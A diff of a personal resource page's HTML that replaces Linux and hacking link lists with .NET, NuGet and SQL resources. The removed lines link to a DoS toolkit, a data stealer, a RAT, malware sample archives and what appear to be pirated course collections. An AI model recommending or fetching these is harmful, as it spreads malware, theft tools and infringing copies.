-                      <h5>Linux Resources</h5>
-                      <p>
-                        <a href="https://phoenixnap.com/kb/install-ftp-server-on-ubuntu-vsftpd">How to Install FTP Server on Ubuntu with vsftpd</a>
-                        <a href="https://www.digitalocean.com/community/tutorials/how-to-install-and-manage-supervisor-on-ubuntu-and-debian-vps">How to install and manage supervisor on Ubuntu and Debian VPS</a>
-                        <a href="https://sysprog21.github.io/lkmpg/">Linux Kernel Module Programming Guide</a>
-                        <a href="https://www.youtube.com/watch?v=cC1CqyCN9Q0">How to Fit In with Linux Users</a>
-                      </p>
-                      <h5>Astonishing GNOME customization</h5>
-                      <p>
-                        <a href="https://www.youtube.com/watch?v=3XHIV2RF2Yc">Glassmorphism</a>
                         <br>
-                        <a href="https://www.youtube.com/watch?v=49_ZUgpMMFA">Everforest</a>
+                        <p>Source Values:</p>
+                        <ul>
+                          <li>
+                            <b>Name:</b> Windows Community Toolkit Labs (or decide as you want)
+                          </li>
+                          <li>
+                            <b>URL:</b>
+                            <a class="text-wrap" href="https://pkgs.dev.azure.com/dotnet/CommunityToolkit/_packaging/CommunityToolkit-Labs/nuget/v3/index.json">https://pkgs.dev.azure.com/dotnet/CommunityToolkit/_packaging/CommunityToolkit-Labs/nuget/v3/index.json</a> | <strong>REQUIRED</strong>
+                          </li>
+                          <li>
+                            <b>User:</b> Rider account name
+                          </li>
+                          <li>
+                            <b>Password:</b> Rider account password
+                          </li>
+                        </ul>
+                        <hr>
+                        <strong>Background Information</strong>
                         <br>
-                        <a href="https://www.youtube.com/watch?v=bDTUbBoIoUQ">Fluent</a>
                         <br>
-                        <a href="https://www.youtube.com/watch?v=qC0mnGprbeM">Orchis GTK</a>
+                        <p>By this action you are modifying the NetGet.config file, which applies configurations to the NuGet package manager on your local machine.</p>
+                        <p>Afterwards install the package from Rider&#39;s NuGet Window as usual and you&#39;re off to the races.</p>
+                        <hr>
+                        <strong>Other GitHub Repos</strong>
                         <br>
-                        <a href="https://www.youtube.com/watch?v=1doqD4t7xVs">Evergreen</a>
-                      </p>
-                      <h5>Apache, MariaDB and PHP (LAMP) Installation for Arch-based Distros</h5>
-                      <p>
-                        <a href="https://forum.manjaro.org/t/howto-install-apache-mariadb-mysql-php-lamp/13000">[HowTo] Install Apache, MariaDB (MySQL), PHP (LAMP)</a>
-                      </p>
-                      <blockquote class="ps-3">
-                        <p>&gt; PS: You must add a <code>phpmyadmin</code> DB and import <code>/usr/share/webapps/phpmyadmin/sql/create_tables.sql</code> there - on Linux. <br> &gt; And also modify / add some lines in your <code>.../phpmyadmin/config.inc.php</code> to tell <code>phpmyadmin</code> to use this DB for it&#39;s configuration storage: </p>
-                      </blockquote>
-                      <h4>Under the <code>phpMyAdmin configuration storage settings</code>-section </h4>
-                      <p>Un-comment all tables matching the pattern below - but check in your DB, if they were created by the <code>create_table.sql</code>. </p>
-                      <p>
-                        <code> // REQUIRED User - uncomment as well!!! <br> // Replace &#39;pma&#39; and &#39;pmapass&#39; with the username &amp; password of a MySQL user that contains the appropriate privileges on the phpmyadmin database. <br> $cfg[&#39;Servers&#39;][$i][&#39;controluser&#39;] = &#39;pma&#39;; <br> $cfg[&#39;Servers&#39;][$i][&#39;controlpass&#39;] = &#39;pmapass&#39;; <br> // Pattern <br> $cfg[&#39;Servers&#39;][$i][&#39;tableName&#39;] = &#39;tableName&#39;; </code>
-                      </p>
-                      <h6>Optional: Create the User</h6>
-                      <p>
-                        <code> CREATE USER 'pma'@'localhost' IDENTIFIED BY'pmapass'; <br> GRANT SELECT, INSERT, UPDATE, DELETE ON phpmyadmin.* TO 'pma'@'localhost'; <br> FLUSH PRIVILEGES; <br>
-                        </code>
-                      </p>
-                      <p>Problems or using Windows? <br> =&gt; Refer to the Docs: <code>http://yourServerNameOrIPAddr/phpmyadmin/doc/html/setup.html#phpmyadmin-configuration-storage</code>
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                  <AccordionItem title="Mega.nz Resources" id="meganzresources" parent="learningresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
-                      <h5>Mega.nz Resources</h5>
-                      <p>
-                        <a href="https://controlc.com/60860490">Udemy Mega.nz 12 Parts Courses Collection</a>
-                        <a href="https://controlc.com/1a365e0f">4 TB Mega.nz Courses Collection</a>
-                        <a href="https://controlc.com/aedfca1f">14 TB Mega.nz Courses Collection</a>
-                        <a href="https://mega.nz/folder/zGJT1QQQ#O-8yiH845GN26ajAvkoLkA">Additional CyberSecurity Files</a>
-                        <a href="https://mega.nz/folder/dLIWkbCB#0MH4CBGlj0JUA6n00EbpDg">150 Interview Problems (AlgoExpert Course 1)</a>
-                        <a href="https://mega.nz/folder/oWAwAR5Y#WsyNfvNK_SkoFXS4WJKcTA">Systems Design Fundamentals (AlgoExpert Course 2)</a>
-                        <a href="https://mega.nz/folder/RGBgHJIS#qOsdOXynX41S5TFOP0PqHg">Data Structures Crash Course (AlgoExpert Course 3)</a>
-                        <a href="https://mega.nz/folder/5bQAFTCZ#q3HkgHHDSjPk_q0Uq0QQ4w">Become an Algorithms Expert (AlgoExpert Course 4)</a>
-                        <a href="https://mega.nz/folder/YXIC2DqA#_A9kVgMPzl652Qfqi9lhlA">Interview Preparation Course (Part 1) (AlgoExpert Course 5)</a>
-                        <a href="https://mega.nz/folder/JeZ2RTTI#s4jjLfA1ef27bIQH_1ei3Q">Interview Preparation Course (Part 2) (AlgoExpert Course 6)</a>
-                        <a href="https://mega.nz/folder/UGRQnTaI#L6B62U_3jUOuRkCEH4DZvw">Interview Tips (AlgoExpert Course 7)</a>
-                      </p>
-                      <p>
-                        <a href="https://mega.nz/folder/dbwmwS6b#p9nGMhSXETZBAEYGoKty8Q">Code With Mosh</a> (Code: p9nGMhSXETZBAEYGoKty8Q)
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                  <AccordionItem title="All Guides VenenJean used to Install VirtualBox under Manjaro" id="vbmanjaro" parent="learningresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
-                      <h5>All Guides VenenJean used to Install VisualBox under Manjaro</h5>
-                      <p>
-                        <a href="https://wiki.manjaro.org/index.php/VirtualBox#Configuring_the_host">Guide 1 (Manjaro Wiki)</a>
-                        <a href="https://hibbard.eu/install-ubuntu-virtual-box">Guide 2 (Hibbard)</a>
-                        <a href="https://www.cherryservers.com/blog/how-to-install-and-start-using-mariadb-on-ubuntu-20-04">Guide 3 (CherryServers)</a>
-                        <a href="https://www.ibm.com/docs/en/spectrum-lsf-rtm/10.2.0?topic=ssl-configuring-default-root-password-mysqlmariadb">Guide 4 (IBM)</a>
-                        <a href="https://linuxiac.com/how-to-install-virtualbox-on-manjaro-linux/">Guide 5 (LinuxIAC)</a>
-                        <a href="https://mariadb.org/download/?t=repo-config&d=22.04+%22jammy%22&v=11.1&r_m=23Media">Guide 6 (MariaDB)</a>
-                        <a href="https://phoenixnap.com/kb/ssh-with-key">SSH Public Key Connection Setup</a>
-                        <a href="https://wiki.manjaro.org/">Manjaro Wiki</a>
-                      <p>
-                        <a href="https://www.youtube.com/watch?v=V2N1nrULjcY">Fixing VBox Users: The Screen Scaling Problem</a>
-                      </p>
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                </Fragment>
-              </Accordion>
-            </Fragment>
-          </AccordionItem>
-          <AccordionItem title="Other Resources" id="otherresources" parent="resourcesAccordion">
-            <Fragment slot="accordion-item-content">
-              <h4>Other Resources</h4>
-              <p>
-                <a href="https://www.datensen.com/blog/">Data Management Blog</a>
-                <a href="http://www.denic.de/en/domains/whois-service/web-whois.html">WHOIS Lookup</a>
-                <a href="https://www.immuniweb.com/websec/">Web Security Testing</a>
-                <a href="https://css-tricks.com/probably-dont-base64-svg/">CSS Data URI</a>
-                <a href="https://www.urldecoder.io/">URL Decoder</a>
-                <a href="https://loremipsum.io/">Lorem Ipsum Generator</a>
-                <a href="https://phish.report">Report Phishing</a>
-                <a href="https://codebeautify.org/">CodeBeautify</a>
-                <a href="https://www.newtonsoft.com/json">JSON.NET</a>
-                <a href="https://github.com/sshnet/SSH.NET">SSH.NET</a>
-                <a href="https://www.sonarsource.com/products/sonarlint/features/visual-studio/">SonarLint</a>
-                <a href="https://figma.com">Figma</a>
-                <a href="https://www.youtube.com/watch?v=HMntFTgy8Is">Simple Table in Figma</a>
-                <a href="https://astro.build/">Astro</a>
-                <a href="https://getbootstrap.com">Bootstrap</a>
-                <a href="https://tailwindcss.com/">Tailwind.css</a>
-                <a href="https://jquery.com/">JQuery JS</a>
-                <a href="http://vanilla-js.com/">Vanilla-JS Framework</a>
-                <a href="https://bulma.io/">Bulma CSS Framework</a>
-                <a href="https://iconscout.com/">Iconscout</a>
-                <a href="https://addr.tools/">Internet Tools</a>
-                <a href="https://github.com/">GitHub</a>
-                <a href="https://gitlab.com/">GitLab</a>
-                <a href="https://youtu.be/RxHJdapz2p0?si=H3teosorRjwVNE7P">How Git Actually Works</a>
-                <a href="https://gitmoji.dev">GitMoji <a href="https://www.webbyawards.com/">Webby Awards</a>
-                <a href="https://pagespeed.web.dev/">PageSpeed Insights</a>
-                <a href="https://www.freesoff.com/">FreeSoff (Free Software)</a>
-                <a href="https://axiom.ai">No Code Browser Automation</a>
-                <a href="https://www.wolframalpha.com">Math, Science, Tech, Culture, and Life API</a>
-                <a href="https://tinywow.com">Free AI Writing, PDF, Image, and Other Online Tools</a>
-                <a href="https://www.opensourcealternative.to">Open Source Alternatives</a>
-                <a href="https://www.jotform.com">Free Letter Forms</a>
-                <a href="https://www.nirsoft.net/panel/">NirSoft</a>
-                <a href="https://www.commontools.org/">Commontools.org</a>
-                <a href="https://coolbackgrounds.io/">CoolBackgrounds</a>
-                <a href="https://uigradients.com/">UIgradients</a>
-                <a href="https://cssgradient.io/">CSS Gradients</a>
-                <a href="https://www.svgbackgrounds.com/">SVG Gradients</a>
-                <a href="https://www.ilovepdf.com/">ILovePDF</a>
-                <a href="https://jpg2png.com/">JPG2PNG</a>
-                <a href="https://png2pdf.com/">PNG2PDF</a>
-                <a href="https://pdf2png.com/">PDF2PNG</a>
-                <a href="https://www.zamzar.com/convert/xlsx-to-pdf/">XLSX2PDF</a>
-                <a href="https://pmichaels.net/2021/08/29/compiling-code-files-in-c-using-roslyn/">CS2DLL</a>
-                <a href="https://www.canva.com/colors/color-wheel/">Canva Color Wheel</a>
-                <a href="https://www.spycolor.com/">SpyColor</a>
-                <a href="https://app.eraser.io/">Eraser (Planning)</a>
-                <a href="https://github.com/bytemate/chatapi-single">ChatGPT-API-Server</a>
-                <a href="https://fathy.fr/carbonyl">Chrome Render to Terminal</a>
-                <a href="https://dontasktoask.com/">Don't ask to ask, just ask</a>
-                <a href="https://insights.stackoverflow.com/survey/">StackOverflow Yearly Surveys</a>
-                <a href="https://survey.devographics.com/en-US">State of Language Survey</a>
-              </p>
-              <Accordion parent="otherresourcesAccordion">
-                <Fragment slot="accordion-content">
-                  <AccordionItem title="Code Editors" id="codeeditors" parent="otherresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
-                      <h5>Code Editors</h5>
-                      <p>
-                        <a href="https://atom.io">Atom</a>
-                        <a href="https://code.visualstudio.com/download">Visual Studio Code (VSCode)</a>
-                        <a href="https://youtube.com/shorts/y7fwyTh0F7Y?si=1YktIy5eP2H5vF1k">GitHub in VSCode</a>
-                        <a href="https://www.sublimetext.com/download">Sublime Text</a>
-                        <a href="https://github.com/WerWolv/ImHex">Hex Editor (ImHex)</a>
-                        <a href="https://www.vim.org/download.php">Vim</a>
-                        <a href="https://www.jetbrains.com/pycharm/">Pycharm (Python IDE)</a>
-                        <a href="https://www.eclipse.org/downloads/">Eclipse (Java IDE)</a>
-                        <a href="https://www.jetbrains.com/idea/download/">Intellij (Java IDE)</a>
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                  <AccordionItem title="Fonts" id="fontsitem" parent="otherresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
-                      <h5>Fonts</h5>
-                      <p>
-                        <a href="https://gwfh.mranftl.com/fonts">Google WebFonts Helper</a>
-                        <a href="https://www.cufonfonts.com/font/segoe-ui-4">Segoe UI</a>
-                        <a href="https://www.cufonfonts.com/font/force-commander">Force Commander</a>
-                        <a href="https://www.cufonfonts.com/search/Oswald">Oswald</a>
-                        <a href="https://fonts.google.com/specimen/Oswald">Oswald from Google</a>
-                        <a href="https://www.cufonfonts.com/search/kanit">Kanit</a>
-                        <a href="https://fonts.google.com/specimen/Kanit">Kanit from Google</a>
-                        <a href="https://zyro.com/blog/clean-fonts/">More Clean Fonts</a>
-                        <a href="https://typographyhandbook.com/#introduction">Typography Handbook</a>
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                  <AccordionItem title="Discord Glitches" id="discordgitches" parent="otherresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
-                      <h5>Discord Glitches</h5>
-                      <p>
-                        <a href="https://github.com/PanIntegralus/discord.webm-compilation">Glitched WEBMs</a>
                         <br>
-                        <a href="https://gist.github.com/ghostrider-05/8f1a0bfc27c7c4509b4ea4e8ce718af0">Discord Link Protocols</a>
+                        <p>
+                          <a href="https://github.com/CommunityToolkit/WindowsCommunityToolkit/wiki/Preview-Packages#toolkit-labs-">Official Instructions on adding the Community Toolkit as a NuGet packages source</a> - Instructions are derived from this.
+                        </p>
+                        <p>
+                          <a href="https://github.com/stevemonaco/AvaloniaViewModelFirstDemos?tab=readme-ov-file">Create an AOT-friendly ViewLocator</a> - MammaMiaDev is derived from this.
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title="SQL Resources" id="sqlresources" parent="learningresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>SQL Resources</h4>
+                        <p>
+                          <a href="https://www.w3schools.com/sql/default.asp">W3Schools SQL Tutorials</a><br>
+                          <a href="https://www.litedb.org/docs/getting-started/">LiteDB</a><br>
+                          <a href="https://docs.oracle.com/cd/E17952_01/connector-net-en/index.html">.NET SQL Connecter Documentation</a><br>
+                          <a href="https://mysqlconnector.net/">MySQLConnecter</a><br>
+                          <a href="https://www.youtube.com/watch?v=4q-keGvUnag">DB Relation Models</a><br>
+                          <a href="https://www.dbdiagram.io/home">Code Like DB Visualization</a><br>
+                          <a href="https://www.sqlstyle.guide">SQL Style Guide</a><br>
+                          <a href="https://goteleport.com/blog/securing-postgres-postgresql/">Securing Your PostgreSQL Database</a>
+                        </p>
+                      </Fragment>
+                    </AccordionItem>
+                    <AccordionItem title=".NET Resources" id="dotnetresources" parent="learningresourcesAccordion">
+                      <Fragment slot="accordion-item-content">
+                        <h4>.NET Resources</h4>
+                        <p>
+                          <a href="https://learn.microsoft.com/en-us/dotnet/csharp">C# / dotnetDocumentation</a><br>
+                          <a href="https://dotnettutorials.net">DotNet Tutorials</a><br>
+                          <a href="https://dotnet.microsoft.com/en-us/download">Download .NET</a><br>
+                          <a href="https://dotnet.microsoft.com/en-us/download/dotnet-framework">Download .NET Framework</a><br>
+                          <a href="https://www.newtonsoft.com/json">JSON.NET</a><br>
+                          <a href="https://github.com/sshnet/SSH.NET">SSH.NET</a><br>
+                          <a href="https://docs.oracle.com/cd/E17952_01/connector-net-en/index.html">.NET SQL Connecter Documentation</a><br>
+                          <a href="https://codinghelmet.com/articles/threadexc">How to Handle Exceptions from Background Worker Thread in .NET</a><br>
+                          <a href="https://dotnettutorials.net/lesson/unit-of-work-pattern-in-asp-net-core-mvc-using-ef-core">Unit of Work Pattern</a><br>
+                          <a href="https://learn.microsoft.com/en-us/aspnet/mvc/overview/older-versions/getting-started-with-ef-5-using-mvc-4/implementing-the-repository-and-unit-of-work-patterns-in-an-asp-net-mvc-application">UoW Pattern + Repo Docs</a>
+                        </p>
+                        <h4>Clean Project Architecture</h4>
+                        <p>
+                          <a href="/media/pdf/clean-architecture-a-craftsmans-guide-to-software-structure-and-design_compress.pdf">PDF Guide</a><br>
+                          <a href="https://github.com/jasontaylordev/CleanArchitecture">Template 1</a><br>
+                          <a href="https://github.com/ardalis/CleanArchitecture">Template 2</a><br>
+                          <a href="https://github.com/amantinband/clean-architecture">Template 3</a><br>
+                          <a href="https://stackoverflow.com/questions/74781704/how-to-make-nlog-v5-work-with-avalonia-android">StackOverflow w/ NLog</a><br>
+                          <a href="https://www.youtube.com/watch?v=YiVqwoFMieg">Explanation Video</a>
+                        </p>
+                        <p>
+                          <a href="https://tutorials.eu/c-sharp-solution-structure/">Tutorials EU - C# Solution Strucure</a><br>
+                          <a href="https://www.jamesmichaelhickey.com/how-to-structure-your-dot-net-solutions-design-and-trade-offs/">.NET Architecture: How To Structure Your Solutions - Design </a><br>
+                          <a href="https://www.reddit.com/r/csharp/comments/k21qjv/can_anyone_show_me_the_proper_project_structure/?rdt=60419">Redit - Proper project strucure</a><br>
+                        </p>
+                        <p>
+                          <a href="https://gist.github.com/davidfowl/ed7564297c61fe9ab814">David Fowl's Gist</a><br>
+                          <a href="https://www.youtube.com/watch?v=YiVqwoFMieg">Nick Chapsas - How to structure a .NET Solution (project separation &amp; architecture)</a>
+                        </p>
+                        <h4>Installing .NET 8.0 SDK on Ubuntu Server 24.04 LTS</h4>
+<pre><code>wget -O - https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor | sudo tee /etc/apt/keyrings/microsoft.gpg</code></pre>
+                        <p>Create a file -&gt; <pre><code>/etc/apt/sources.list.d/microsoft.sources</code></pre></p>
+                        <p>Paste content (JavaScript):<br>
+<pre>
+<code>
+Types: deb
+URIs: https://packages.microsoft.com/ubuntu/22.04/prod/
+Suites: jammy
+Components: main
+Architectures: amd64
+Signed-By: /etc/apt/keyrings/microsoft.gpg
+</code>
+</pre>
                         <br>
-                        <a href="https://drive.google.com/drive/folders/18-9X13abayITCKmToARWDljynvMzBXob">Fake Nitro Links</a>
-                      </p>
-                      <p>
-                        <a href="https://www.youtube.com/watch?v=MDSscZjzXb4">Much more in this video</a>
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                </Fragment>
-              </Accordion>
-            </Fragment>
-          </AccordionItem>
-          <AccordionItem title="YouTube Creators" id="youtubecreators" parent="resourcesAccordion">
-            <Fragment slot="accordion-item-content">
-              <h4>YouTube Creators</h4>
-              <p>This section will not be categorized by accordions.</p>
-              <h5>C#</h5>
-              <p>
-                <a href="https://www.youtube.com/@IAmTimCorey">IAmTimCorey</a>
-                <a href="https://www.youtube.com/@tutorialsEUC">tutorialsEU</a>
-              </p>
-              <h5>JavaScript</h5>
-              <p>
-                <a href="https://www.youtube.com/@ColorCodeio">ColorCode</a>
-              </p>
-              <h5>General</h5>
-              <p>
-                <a href="https://www.youtube.com/@Cleancoders/videos">Clean Coders</a>
-                <a href="https://www.youtube.com/@Coderized">Coderized</a>
-                <a href="https://www.youtube.com/@wndtn/videos">Winderton</a>
-                <a href="https://www.youtube.com/@CodeAesthetic">CodeAesthetic</a>
-                <a href="https://www.youtube.com/@StudyingWithAlex">Studying with Alex</a>
-                <a href="https://www.youtube.com/watch?v=NuyzuNBFWxQ">Fireship</a>
-              </p>
-              <h5>Computer Science</h5>
-              <p>
-                <a href="https://www.youtube.com/cs50">CS50 | Harvard University</a>
-                <a href="https://www.youtube.com/channel/UC1szFCBUWXY3ESff8dJjjzw">Loi Liang Yang</a>
-              </p>
-              <h5>Web Development</h5>
-              <p>
-                <a href="https://www.youtube.com/@KevinPowell">Kevin Powell <a href="https://www.youtube.com/@WebDevSimplified">Web Dev Simplified</a>
-                <a href="https://www.youtube.com/@thewebsitearchitect">The Website Architect</a>
-                <a href="https://www.youtube.com/@javascriptmastery">Javascript Mastery - YT</a>
-                <a href="https://www.jsmastery.pro/">Javascript Mastery - Website</a>
-              </p>
-              <h5>Networks/Cybersecurity</h5>
-              <p>
-                <a href="https://www.youtube.com/@NetworkChuck">NetworkChuck</a>
-              </p>
-              <h5>Indie App Development</h5>
-              <p>
-                <a href="https://www.youtube.com/@craftzdog">Takuya Matsuyama</a>
-                <a href="https://www.youtube.com/@devaslife">DevAsLife</a>
-              </p>
-              <h5>NeoVim Usage</h5>
-              <p>
-                <a href="https://www.devas.life/effective-neovim-setup-for-web-development-towards-2024/">Takuya Matsuyama</a>
-              </p>
-            </Fragment>
-          </AccordionItem>
-          <AccordionItem title="Hacking Resources" id="hackingresources" parent="resourcesAccordion">
-            <Fragment slot="accordion-item-content">
-              <h4>Hacking Resources</h4>
-              <p>
-                <a href="https://www.youtube.com/watch?v=mPVG3tXjMgI">Making the Hacker Mindset</a>
-                <a href="https://hackingthe.cloud">Hacking The Cloud</a>
-                <a href="https://hacktricks.xyz">HackTricks</a>
-                <a href="https://trickest.com/">Trickest</a>
-                <a href="https://www.hackthebox.com/">HackTheBox</a>
-                <a href="http://picoctf.com">CTF Hacking for Beginners</a>
-                <a href="http://www.liveoverflow.com">LiveOverflow</a>
-                <a href="https://malapi.io">Malapi</a>
-                <a href="https://unprotect.it">Unprotect Project</a>
-                <a href="https://0dayfans.com/">0DayFans</a>
-                <a href="/media/files/MOOCs_Courses_Download_Access_To_500_Courses.txt">MOOC Courses</a>
-                <a href="https://cheat.sh">Cheat.sh Repos</a>
-                <a href="https://thehackerdev.com/windows-api-function-naming-convention">Windows API Function Naming Convention</a>
-                <a href="https://www.youtube.com/watch?v=5g137gsB9Wk">File Path Race Condition & How To Prevent It - bin 0x31 (LiveOverflow)</a>
-                <a href="http://www.insecam.org">InSeCam</a>
-                <a href="https://tools.intigriti.io/redirector/">Open Redirector/SSRF Payload Generator</a>
-                <a href="https://uops.info/table.html">CPU/IP Table</a>
-                <a href="https://journal.opendataplayground.com/cyberhack-2023/">CyberHack 2023</a>
-                <a href="https://gtfobins.github.io/">List of UNIX Binaries for Priv Escalation</a>
-                <a href="https://pwk.hide01.ir/">Linux & Bash Hacking</a>
-                <a href="https://gchq.github.io/CyberChef/">CyberChef</a>
-                <a href="https://app.any.run/">Hacking Stats</a>
-                <a href="https://pastebin.com">PasteBin</a>
-                <a href="https://pastebin.com/pApryWbx">Hijack URLS</a>
-                <a href="https://spidersuite.github.io">Developing CyberSecurity Solutions</a>
-                <a href="https://zer1t0.gitlab.io/posts/attacking_ad/">Attacking Ad</a>
-                <a href="https://cyber.bgu.ac.il/new-malware-jumps-air-gapped-devices-by-turning-power-supplies-into-speakers/">Power Supplies to Speakers</a>
-                <a href="https://cyber.bgu.ac.il/advanced-cyber/airgap">AirGap</a>
-                <a href="https://fccid.io/">FCC ID Database</a>
-                <a href="https://sploitus.com">Sploitus</a>
-                <a href="https://reddit.com/r/netsec">r/netsec</a>
-                <a href="https://start.me/p/rx6Qj8/nixintel-s-osint-resource-list">OSINT start.me 1</a>
-                <a href="https://start.me/p/L1rEYQ/osint4all">OSINT start.me 2</a>
-                <a href="https://youtu.be/S9JGmA5_unY">How Secure is 256-bit Security?</a>
-                <a href="https://youtu.be/nFZm4sVsPXk?si=7J_GzfZe-UOqic4b">TailOS Setup</a>
-                <a href="https://youtu.be/PbVaagSWzgM">Hijacking account with Open Redirect in OAuth 2.0 - Stealing Access Tokens</a>
-                <a href="https://youtu.be/09hrHtBLVeA">Discovering API and Analyzing Endpoints Using Postman and Browser w/ crAPI</a>
-                <a href="https://youtu.be/Op6QvVMj4fw">Exploiting SQL Injection in GraphQL</a>
-                <a href="https://www.youtube.com/watch?v=JbEPJv7Ybcs">Learn before CyberSecurity</a>
-                <a href="https://www.youtube.com/watch?v=Mt4PYoyiqB0">Tips before CyberSecurity</a>
-                <a href="https://youtu.be/In-XF5sY1Yo">Graphql Endpoint Analysis</a>
-                <a href="https://youtube.com/playlist?list=PL4wZd4YK_64FeEvmdSkORNRLrgS5DavgT">WireShark Videos</a>
-                <a href="https://anonfiles.com/eby53a7by7/Dhop.py">Win10 VM Rat</a>
-                <a href="/media/files/SPOILER_VirusShare_00e8704830ff0331d16f7d392b2efcbd.zip">Analyzing Data 1</a>
-                <a href="/media/files/SPOILER_VirusShare_00ee48b8a32ce81fd8ebfc33cf36d9c2.zip">Analyzing Data 2</a>
-                <a href="/media/files/SPOILER_VirusShare_b4027a690167090b8c9eb5bc4a507742.zip">Analyzing Data 3</a>
-              </p>
-              <Accordion parent="hackingresourcesAccordion">
-                <Fragment slot="accordion-content">
-                  <AccordionItem title="Network Attack" id="networkattack" parent="hackingresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
-                      <h5>Network Attack</h5>
-                      <p>
-                        <a href="https://crypto.stanford.edu/cs155old/cs155-spring11/lectures/08-tcp-dns.pdf">Stanford</a>
-                        <a href="https://www.cl.cam.ac.uk/~rja14/Papers/SEv2-c21.pdf">Cambridge</a>
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                  <AccordionItem title="Network Fundamentals" id="networkfundamentals" parent="hackingresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
-                      <h5>Network Fundamentals</h5>
-                      <p>
-                        <a href="https://www.youtube.com/playlist?list=PLIFyRwBY_4bRLmKfP1KnZA6rZbRHtxmXi">Old-Fashioned</a>
-                        <a href="https://www.youtube.com/playlist?list=PLDQaRcbiSnqF5U8ffMgZzS7fq1rHUI3Q8">Modern</a>
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                  <AccordionItem title="Obfuscating Programs" id="obfuscatingpro" parent="hackingresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
-                      <h5>Obfuscating Programs</h5>
-                      <p>
-                        <a href="https://crates.io/crates/secmem-proc">Process Hardening</a>
-                        <a href="https://crates.io/crates/debugoff">Debug Off</a>
-                        <a href="https://crates.io/crates/goldberg">GoldBerg</a>
-                        <a href="https://crates.io/crates/cryptify">Cryptify</a>
-                        <a href="https://crates.io/crates/encrust">Mem Encrytion</a>
-                        <a href="https://crates.io/crates/stronghold-runtime">Stronghold-Runtime</a>
-                        <a href="https://crates.io/crates/Hela">Hela</a>
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                  <AccordionItem title="CTF/RE Resources & Challenges" id="ctfreresources" parent="hackingresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
-                      <h5>CTF/RE Resources & Challenges</h5>
-                      <p>
-                        <a href="https://411hall.github.io/assets/files/CTF_template.ctb">CherryTree Template for CTF Enumeration</a>
-                        <a href="https://ctf101.org/">CTF Compact Guide</a>
-                        <a href="https://ctftime.org/">CTF Events</a>
-                        <a href="https://ctftime.org/ctf-wtf/">CTF Learning 1</a>
-                        <a href="http://ctflearn.com/">CTF Learning 2</a>
-                        <a href="http://captf.com/practice-ctf/">CTF Challenges</a>
-                        <a href="https://reverse.put.as/crackmes/">Reverse Engineering</a>
-                        <a href="https://challenges.re/">RE Challenges</a>
-                        <a href="https://breachdirectory.tk">RE BreachDirectory</a>
-                        <a href="http://pwnable.tw/">pwnable.tr</a>
-                        <a href="http://reversing.kr/">Challenge 1</a>
-                        <a href="https://w3challs.com/">Challenge 2</a>
-                        <a href="https://pwn0.com">Challenge 3</a>
-                        <a href="https://w3challs.com/">Challenge 4</a>
-                        <a href="https://io.netgarage.org/">Challenge 5</a>
-                        <a href="http://ringzer0team.com/">Challenge 6</a>
-                        <a href="http://www.hellboundhackers.org/">Challenge 7</a>
-                        <a href="http://www.overthewire.org/wargames/">Challenge 8</a>
-                        <a href="http://counterhack.net/Counter_Hack/Challenges.html">Challenge 9</a>
-                        <a href="http://www.hackthissite.org/">Challenge 10</a>
-                        <a href="http://vulnhub.com/">Challenge 11</a>
-                        <a href="http://ctf.komodosec.com">Challenge 12</a>
-                        <a href="https://maxkersten.nl/binary-analysis-course/">Challenge 13</a>
-                        <a href="https://pwnadventure.com">Challenge 14</a>
-                      </p>
-                    </Fragment>
-                  </AccordionItem>
-                  <AccordionItem title="GitHub Resources" id="githubresources" parent="hackingresourcesAccordion">
-                    <Fragment slot="accordion-item-content">
-                      <h5>GitHub Resources</h5>
-                      <p>
-                        <a href="https://github.com/SkyPenguin-Solutions/SkyLine">CyberSecurity Programming Language</a>
-                        <a href="https://github.com/bmullan/CIAB.Full-Mesh.VPN.Wireguard.FRR.BGP.VXLAN.Internet.Overlay.Architecture">Cloud In A Box (CIAB)</a>
-                        <a href="https://github.com/LimerBoy/Impulse">Impulse (DoS Toolkit)</a>
-                        <a href="https://github.com/oracio-tech/doenerium">Data Stealer</a>
-                        <a href="https://github.com/lukasbalazik123/mantua">AntiDebug, AntiVM, AntiAV C Linux Library</a>
-                        <a href="https://github.com/eric-therond/webunpack">Vulnerable Module Detector</a>
-                        <a href="https://github.com/ffuf/ffuf">Web Fuzzer (Go)</a>
-                        <a href="https://github.com/freddiebarrsmith/Buffer-Overflow-Exploit-Development-Practice">OSCP Training</a>
-                        <a href="https://github.com/OlivierLaflamme/Cheatsheet-God">OSCP/PTP/PTX Cheatsheet</a>
-                        <a href="https://github.com/CorentinJ/Real-Time-Voice-Cloning">Voice Cloning</a>
-                        <a href="https://github.com/uppusaikiran/awesome-cctf-cheatsheet">CTF Cheatsheet</a>
-                        <a href="https://github.com/Voorivex/pentest-guide">Pentest Guide</a>
-                        <a href="https://github.com/sctreaak/keyhacks">KeyHacks</a>
-                        <a href="https://github.com/TomNomNom">TomNomNom</a>
-                        <a href="https://github.com/swisskyrepo/PayloadsAllTheThings">Payloading</a>
-                        <a href="https://github.com/bee-san/pyWhat">pyWhat</a>
-                        <a href="https://github.com/martinmarinov/TempestSDR">TempestSDR</a>
-                        <a href="https://github.com/SaumyajeetDas/GodGenesis">GodGenesis</a>
-                        <a href="https://github.com/rly0nheart/osinteye">OSINTeye</a>
-                        <a href="https://github.com/r4wd3r/Suborner">Suborner</a>
-                        <a href="https://github.com/whoami15/FBI-Tools">FBI Tools</a>
-                        <a href="https://github.com/secgroundzero/CS-Aggressor-Scripts">Aggressor Scripts 1</a>
